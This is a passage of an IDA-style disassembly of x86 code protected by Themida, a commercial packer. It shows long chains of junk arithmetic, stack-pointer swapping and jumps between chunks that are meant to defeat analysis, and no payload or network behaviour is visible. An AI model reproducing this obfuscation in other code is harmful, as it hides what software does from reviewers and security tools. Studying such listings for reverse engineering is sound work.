3DB853ACh push eax mov eax, 3AE1D2Ah add [esp+arg_4], 1FA97819h add [esp+arg_4], eax sub [esp+arg_4], 1FA97819h pop eax add [esp-4+arg_4], 5F0D19CCh jmp loc_56A37A ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565CCF: ; CODE XREF: sub_56755A-ADEFj add dl, 0D0h sub bh, dl pop edx sub al, 59h sub al, bh push ebx mov bl, 4Ch sub bl, 0D6h shr bl, 3 neg bl sub bl, 99h add al, bl pop ebx jmp loc_561E09 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_565CEF proc near ; CODE XREF: sub_56026A-708j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F367 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561185 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 00564467 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056E83D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F3F6 SIZE 0000000E BYTES push ebp mov ebp, 4 jmp loc_55F367 sub_565CEF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_565CFA: ; CODE XREF: sub_563973+A88Aj mov ecx, ebx mov eax, ecx pop ecx mov ebx, [esp+0] add esp, 4 and ecx, eax mov eax, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+8+var_8], edi jmp loc_55DBA7 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- loc_565D25: ; CODE XREF: Themida_:00564BD6j push dx mov dl, 9Ch or ch, dl pop dx push bx mov bh, 1 add ch, bh pop bx jmp loc_55D10B ; --------------------------------------------------------------------------- loc_565D3A: ; CODE XREF: Themida_:00569CBEj inc ebx and ebx, 34512AAh add ebx, 0FDFAFF62h add edi, ebx jmp loc_56DDDD ; --------------------------------------------------------------------------- loc_565D4E: ; CODE XREF: Themida_:0056D699j add ebp, 71177865h add ebp, 10F1C0ECh sub ecx, ebp push dword ptr [esp] pop ebp add esp, 4 push eax mov eax, 416EC2h shr eax, 3 shr eax, 6 dec eax xor eax, 46720599h jmp loc_561A77 ; --------------------------------------------------------------------------- loc_565D7D: ; CODE XREF: Themida_:005604ACj push edx mov edx, 79173A8Fh shr edx, 6 xor edx, 37B46FFFh jmp loc_55BC72 ; --------------------------------------------------------------------------- loc_565D91: ; CODE XREF: Themida_:00568817j push ebp jmp loc_564C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565D97: ; CODE XREF: sub_56755A+3D5j add esi, 4 sub esi, 4 xor esi, [esp+4+var_4] xor [esp+4+var_4], esi jmp loc_55EEAC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565DAB: ; CODE XREF: Themida_:005622E4j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], esp push ecx jmp loc_5660BA ; =============== S U B R O U T I N E ======================================= sub_565DC4 proc near ; CODE XREF: sub_56755A+8C32j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0055DBEF SIZE 00000013 BYTES push ebx jmp loc_55DBEF sub_565DC4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_565DCA: ; CODE XREF: sub_56542E-126Bj push esp jmp loc_55B874 ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B812 loc_565DD0: ; CODE XREF: sub_56B812-2CDFj sub edi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 push edi pop edx mov edi, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], edi mov edi, esp jmp sub_56885A ; END OF FUNCTION CHUNK FOR sub_56B812 ; --------------------------------------------------------------------------- push 17EEh jmp loc_56E392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565DFA: ; CODE XREF: sub_56755A+72DEj push [esp+4+var_4] pop ebp push ecx jmp loc_56DABB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_565E04: ; CODE XREF: sub_566504+58A8j shr ebx, 1 push esi mov esi, 15BC6FE0h shr esi, 5 jmp loc_5703ED ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_565E14: ; CODE XREF: Themida_:0055BC6Dj pop esp mov ax, [esp] push 6542h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push esi jmp loc_569FD6 ; --------------------------------------------------------------------------- loc_565E38: ; CODE XREF: Themida_:00566B58j add dword ptr [esp+8], 5B013340h pop ebx jmp loc_56067F ; --------------------------------------------------------------------------- loc_565E46: ; CODE XREF: Themida_:0056E9FBj xor esi, [esp] jmp loc_55C5E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565E4E: ; CODE XREF: sub_56755A+176Bj pop ecx add eax, 4AFC71DFh add eax, 16DE1326h sub eax, edx push esi mov esi, 16DE1326h sub eax, esi mov esi, [esp+8+var_8] add esp, 4 push ecx mov ecx, 6C5E3567h not ecx xor ecx, 0D95DBB47h sub eax, ecx pop ecx push [esp+4+var_4] pop edx add esp, 4 mov ecx, [esp+0] jmp sub_56C024 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 4D48h mov [esp], eax push esp mov eax, [esp] add esp, 4 push edi mov edi, 4 add eax, edi pop edi sub esp, 4 mov [esp], ecx push edx mov edx, 5CB605C7h or edx, 7274522Bh neg edx neg edx sub edx, 73D33642h jmp loc_56C996 ; --------------------------------------------------------------------------- loc_565ECC: ; CODE XREF: Themida_:00565981j sub ax, bx jmp loc_56CDC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_565ED4: ; CODE XREF: sub_56D83A-EB08j pop ebx mov eax, [esp+0] jmp loc_56812B ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- loc_565EDD: ; CODE XREF: Themida_:0056E7AFj push 73DBh mov [esp], edi jmp loc_5632BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_565EEA: ; CODE XREF: sub_56026A-2E87j mov ebp, esp push edx mov edx, 1463290Fh dec edx jmp loc_55EB7D ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565EF8: ; CODE XREF: sub_56755A+957j add ecx, 4 sub ecx, 4 jmp loc_561718 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565F09: ; CODE XREF: Themida_:0055FB3Cj push ecx push edi push eax mov eax, 248F5B41h jmp loc_5651D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_565F16: ; CODE XREF: sub_56B62C-A51Fj push ax mov ah, 0C9h xor bh, ah jmp loc_55D2AD ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_565F21: ; CODE XREF: Themida_:0056E17Ej sub esp, 4 mov [esp], ebx push 79C0h jmp loc_56C002 ; --------------------------------------------------------------------------- loc_565F31: ; CODE XREF: Themida_:0056A8B0j mov [esp], esp add dword ptr [esp], 4 jmp loc_5674E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565F3D: ; CODE XREF: sub_56755A-9806j xor [esp+34h+var_34], edi xor edi, [esp+34h+var_34] pop esp xor bl, dl mov edx, [esp+30h+var_30] add esp, 4 push edx push ecx mov ch, 7 neg ch jmp loc_567CE6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_565F5A: ; CODE XREF: sub_56250B-4F89j pop edi jmp loc_563EB9 ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_565F60: ; CODE XREF: sub_56CEC8-4472j push edx jmp loc_5624ED ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565F66: ; CODE XREF: sub_56755A+24BCj add esp, 4 push 121Ch mov [esp+34h+var_34], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 sub edx, ecx pop ecx jmp loc_56A135 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565F87: ; CODE XREF: Themida_:0056336Ej pop edx push ebx jmp loc_56CDE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565F8E: ; CODE XREF: sub_56755A-A4CCj pop ecx pop [esp+1Ch+var_1C] jmp loc_55FBCC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_565F97: ; CODE XREF: sub_560CAA-2A58j xchg ecx, [esp+10h+var_10] jmp loc_55FD38 ; END OF FUNCTION CHUNK FOR sub_560CAA ; =============== S U B R O U T I N E ======================================= sub_565F9F proc near ; CODE XREF: sub_56755A-A7AFj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056829D SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056AA31 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056D5DC SIZE 00000024 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 73952272h or ebx, edx pop edx push esi mov esi, 1FD60B2h push ebp mov ebp, 0FFFFFFFFh jmp loc_56829D sub_565F9F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_565FC1: ; CODE XREF: sub_56B5E8-4AA6j pop ebx add ecx, 4 xchg ecx, [esp+0] pop esp jmp loc_563F0B ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- loc_565FCE: ; CODE XREF: Themida_:0055C6D9j mov dl, 7Eh add cl, dl jmp loc_5604E3 ; --------------------------------------------------------------------------- loc_565FD7: ; CODE XREF: Themida_:0055EB05j pop edi sub esi, ebp jmp loc_56FBB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_565FDF: ; CODE XREF: sub_566FBB+3j mov esi, ebp mov ebp, [esp-8+arg_4] jmp loc_56D9B7 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565FE9: ; CODE XREF: sub_56755A+BD4j add edi, 4 push edx mov edx, 4 add edi, edx jmp loc_56E777 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 4D03h mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], esi push ebp mov ebp, 78E900B8h jmp loc_563373 ; --------------------------------------------------------------------------- loc_566034: ; CODE XREF: Themida_:0055C19Cj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, 27AF1827h push edi mov edi, 688E533Ch inc edi add edi, 25F0046Fh and edi, 66087FB1h add edi, 39EBC2DDh jmp loc_55E233 ; --------------------------------------------------------------------------- loc_566067: ; CODE XREF: Themida_:00560C92j pop esi jmp loc_563328 ; --------------------------------------------------------------------------- loc_56606D: ; CODE XREF: Themida_:0055E645j add eax, 4 push eax push dword ptr [esp+4] jmp loc_56C7B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56607C: ; CODE XREF: sub_56755A+770j pop eax add ebx, edi push edi mov edi, 499C0D42h jmp loc_55DCD7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56608A: ; CODE XREF: sub_566504+7DF0j mov esi, esp add esi, 4 jmp loc_56A25C ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566097: ; CODE XREF: sub_56755A-BC95j mov esi, 4 push edi mov edi, 288635Bh inc edi shl edi, 5 xor edi, 11A36D31h add eax, edi pop edi jmp loc_55D35B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5660B4: ; CODE XREF: Themida_:00563845j pop ebp jmp loc_56832F ; --------------------------------------------------------------------------- loc_5660BA: ; CODE XREF: Themida_:00565DBFj mov ecx, 4 add [esp+4], ecx mov ecx, [esp] jmp loc_55C52F ; --------------------------------------------------------------------------- loc_5660CB: ; CODE XREF: Themida_:0055F2E2j add esi, ebp pop ebp jmp loc_563D50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_5660D3: ; CODE XREF: sub_566FBB-5EDAj pop esp mov [esp+0], ebp jmp loc_56CC71 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_5660DC: ; CODE XREF: sub_565269+696Aj push 38F92476h push [esp+0Ch+var_C] pop edx add esp, 4 xor edx, 67A03D38h jmp loc_56047B ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_5660F3: ; CODE XREF: sub_56026A+F978j mov esp, [esp+10h+var_10] jmp loc_55C16B ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5660FB: ; CODE XREF: sub_56755A-63DAj mov [esp+2Ah+var_2C+2], ebx mov ebx, 4B7F7DD3h or ebx, 429251B5h sub ebx, 4BFF7DF3h sub esi, ebx pop ebx push esi push [esp+2Ah+var_28+2] pop esi pop [esp+2Ah+var_2C+2] jmp loc_567DFB ; --------------------------------------------------------------------------- loc_566120: ; CODE XREF: sub_56755A+3621j pop edi push ebx mov ebx, 34012DB1h xchg edx, ebx not edx xchg edx, ebx push esi push edx mov edx, 0CBFED24Dh mov esi, edx jmp loc_5600A5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_56613B: ; CODE XREF: sub_564E24-471Fj push 7361h push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 mov ebp, [esp+8+var_8] add esp, 4 jmp sub_560B67 ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push edx mov edx, esp jmp loc_5605F3 ; --------------------------------------------------------------------------- mov cx, [esp] push 7063h mov [esp], edi jmp loc_56A31A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566178: ; CODE XREF: sub_56755A-6390j mov ebx, [esp+2Eh+var_30+2] push 0FD3h mov [esp+32h+var_34+2], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_55E02A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566196: ; CODE XREF: Themida_:0056C048j pop ebx sub al, 52h jmp loc_564FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56619E: ; CODE XREF: sub_56755A+55B5j shl edi, 1 neg edi not edi inc edi shr edi, 8 or edi, 56D46147h add edi, 16164D71h xor edi, ebp push [esp+32h+var_34+2] pop ebp add esp, 4 and ecx, edi mov edi, [esp+2Eh+var_30+2] push eax mov eax, esp jmp sub_55DA88 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5661CA: ; CODE XREF: Themida_:0056A54Cj push dword ptr [esp] pop edi push eax jmp loc_562781 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5661D4: ; CODE XREF: sub_56755A+15EFj mov ax, word ptr [esp+32h+var_34+2] push 226Ah mov [esp+36h+var_38+2], edi mov edi, esp push ebp mov ebp, 4 jmp loc_560073 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637DB loc_5661ED: ; CODE XREF: sub_5637DB+5EB0j xor edi, eax pop eax jmp loc_55F4BA ; END OF FUNCTION CHUNK FOR sub_5637DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5661F5: ; CODE XREF: sub_56755A+533Bj pop esi sub esi, 7CC70D24h sub esi, 77A80144h add esi, 335D36E2h sub esi, ecx sub esi, 335D36E2h jmp loc_568E88 ; --------------------------------------------------------------------------- loc_566215: ; CODE XREF: sub_56755A+3820j pop edi add esp, 4 push edx jmp loc_55C927 ; --------------------------------------------------------------------------- loc_56621F: ; CODE XREF: sub_56755A+470Aj add ecx, 42C074Ch jmp loc_560E71 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_56622A: ; CODE XREF: sub_55BA18+DFB4j mov ebx, 5ACEDCD8h sub ecx, 4E611E47h add ecx, 42EE592Ah add ecx, ebx sub ecx, 42EE592Ah add ecx, 4E611E47h jmp loc_56A912 ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_56624E: ; CODE XREF: sub_560483+2404j shr ebx, 4 add ebx, 2B1DAF5Fh sub ebp, ebx pop ebx jmp loc_55ED4B ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56625F: ; CODE XREF: sub_56755A-8EEEj pop [esp+22h+var_24+2] pop esp pop [esp+1Ah+var_1C+2] pop esp jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56626C proc near ; CODE XREF: sub_56755A-9EA2j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561609 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566764 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00567256 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005685AB SIZE 00000013 BYTES sub esp, 4 mov [esp+4+var_4], eax mov al, 9Bh and al, 42h jmp loc_561609 sub_56626C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56627B: ; CODE XREF: sub_56755A-66E6j pop ebx sub edx, 654B3386h sub edx, eax add edx, 654B3386h sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 7B7257C8h jmp sub_5644A0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56E1CA ; --------------------------------------------------------------------------- loc_5662A3: ; CODE XREF: Themida_:0055FC9Fj push 121B1FCBh jmp loc_56F9B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5662AD: ; CODE XREF: sub_56755A+59BCj pop esp jmp loc_567CF7 ; --------------------------------------------------------------------------- loc_5662B3: ; CODE XREF: sub_56755A+A06j pop ebx mov edx, ebx mov ebx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp jmp loc_56E85C ; --------------------------------------------------------------------------- loc_5662D1: ; CODE XREF: sub_56755A-3911j shr ebx, 5 xor ebx, 169BA9F1h dec ebx add ebx, 0FFFFFFFFh add ebx, 0EF39BC16h push esi mov esi, 299F2ECDh sub ecx, esi pop esi add ecx, 473D6443h add ecx, ebx jmp loc_570026 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5662FA: ; CODE XREF: Themida_:00563C95j mov eax, [esp] add esp, 4 xor al, bh jmp loc_56ACDD ; --------------------------------------------------------------------------- loc_56630A: ; CODE XREF: Themida_:00565BC6j pop ecx add esi, edi add esi, 60476D2Eh pop edi xchg esi, [esp] pop esp mov ax, [esp] push 6DC0h mov [esp], esi push esp mov esi, [esp] add esp, 4 push edx push edi jmp loc_56473F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_566332: ; CODE XREF: sub_56AE72-3D4Dj add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] add eax, 73520DFh add eax, 6E6C2DD6h sub eax, edi sub eax, 6E6C2DD6h jmp loc_5668FA ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_566362: ; CODE XREF: sub_570668-DCFCj and edi, ebx pop ebx jmp loc_55D27E ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56636A: ; CODE XREF: sub_56971C-11ACj mov ecx, esp push 7A30h mov [esp+0Ch+var_C], ebp mov ebp, 527A7E53h jmp loc_563312 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560FD7 loc_56637E: ; CODE XREF: sub_560FD7+1j mov bl, 2 add bl, 0C9h push edx mov dh, 0B7h xor bl, dh pop edx push 2EC1h mov [esp+8+var_8], edx jmp loc_55C8D5 ; END OF FUNCTION CHUNK FOR sub_560FD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_566396: ; CODE XREF: sub_56542E+6j mov esi, 4 jmp loc_56D833 ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5663A0: ; CODE XREF: sub_56755A-51F4j push esi push 477E4F59h jmp loc_55D12D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5663AB: ; CODE XREF: Themida_:005700E5j push 1F2429A1h pop ecx jmp loc_56FE31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5663B6: ; CODE XREF: sub_56755A-727Fj add edi, 32EC16CDh jmp loc_56F097 ; --------------------------------------------------------------------------- loc_5663C1: ; CODE XREF: sub_56755A-8CE3j mov edi, esp add edi, 4 jmp sub_560DA7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_5663CE: ; CODE XREF: sub_5615A9+9346j not bh sub esp, 4 mov [esp+8+var_8], edx mov dh, 0FAh sub dh, 0ACh sub esp, 4 mov [esp+0Ch+var_C], ebx push ecx mov cl, 9Fh sub cl, 68h inc cl shr cl, 3 jmp sub_561ED8 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE37 loc_5663F4: ; CODE XREF: sub_55DE37+A6FAj pop esi jmp loc_56F1E2 ; END OF FUNCTION CHUNK FOR sub_55DE37 ; --------------------------------------------------------------------------- loc_5663FA: ; CODE XREF: Themida_:0056D042j push edx mov edx, 21710B5h add ecx, 6120270h jmp loc_560192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56640B: ; CODE XREF: sub_56755A-B631j mov ebp, [esp+12h+var_14+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 22865526h jmp loc_567176 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_566428: ; CODE XREF: sub_566504-33F7j push esp push dword ptr [esp+0] jmp loc_563331 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_566431: ; CODE XREF: Themida_:005696D1j push esi mov esi, 23E21C7Fh dec esi xor esi, 666E4F3Ah sub esi, 0CA34DC6Dh or ecx, esi jmp loc_562C04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56644B: ; CODE XREF: sub_56755A+325j add edi, 4 add edi, 4 jmp sub_56AC81 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566459: ; CODE XREF: Themida_:0056B201j sub ecx, 9812D21h pop edx pop ebp add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_56647A: ; CODE XREF: sub_562C5D-45E2j push eax mov ah, 0C8h jmp loc_5664B6 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566482: ; CODE XREF: sub_56755A+5AE2j mov esp, [esp+16h+var_18+2] add edx, 4 sub esp, 4 mov [esp+1Ah+var_1C+2], edi push 4 pop edi add edx, edi pop edi xor edx, [esp+16h+var_18+2] xor [esp+16h+var_18+2], edx xor edx, [esp+16h+var_18+2] jmp loc_56C810 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5664A8 proc near ; CODE XREF: sub_566FBB+31D3j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055EA6A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056BEAB SIZE 00000021 BYTES push ebx mov ebx, 7DEE46A0h xor ebp, ebx pop ebx jmp loc_56BEAB sub_5664A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_5664B6: ; CODE XREF: sub_562C5D+3820j or ah, 0FAh xor ah, 89h jmp loc_56EB2C ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- loc_5664C1: ; CODE XREF: Themida_:0055BC1Fj push dword ptr [esp] jmp loc_568C7D ; --------------------------------------------------------------------------- loc_5664C9: ; CODE XREF: Themida_:00561E67j sub dl, 0D4h jmp loc_56C1A1 ; --------------------------------------------------------------------------- loc_5664D1: ; CODE XREF: Themida_:00564E05j push ecx mov ecx, 6A5E4797h xor ecx, 792101E5h jmp loc_55E5BD ; --------------------------------------------------------------------------- loc_5664E2: ; CODE XREF: Themida_:0057050Dj add [esp+4], edi pop edi pop ecx sub esp, 4 mov [esp], edx mov edx, 30182A5Ch push esi mov esi, 19FE3494h and esi, 757B034Dh jmp loc_56A413 ; =============== S U B R O U T I N E ======================================= sub_566504 proc near ; CODE XREF: sub_562F62-6A3Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0055B8D1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055CAD8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055DCA5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055E64A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055E6FA SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00560290 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561DB0 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00563108 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563331 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563984 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005644FD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005656F3 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00565E04 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056608A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566428 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005668C1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005672B2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056866B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A25C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056A352 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ABB1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BD8E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056DF7B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056E2EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056EEFE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005703ED SIZE 0000000B BYTES push ebp mov ebp, 0DE40245Ah sub edi, ebp jmp loc_55E64A sub_566504 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56DD71 ; --------------------------------------------------------------------------- loc_56651A: ; CODE XREF: Themida_:0056E772j add eax, 6ED80D82h xor eax, 55C55C73h and eax, 0F733A56h add eax, 563E13A3h jmp loc_565649 ; --------------------------------------------------------------------------- loc_566533: ; CODE XREF: Themida_:005655F1j push 211Bh mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55D46D ; --------------------------------------------------------------------------- loc_566551: ; CODE XREF: Themida_:0056068Ej add esp, 4 jmp loc_56958B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_56655C: ; CODE XREF: sub_56C86A+23C5j mov [esp+4+var_4], ebx jmp loc_5618C1 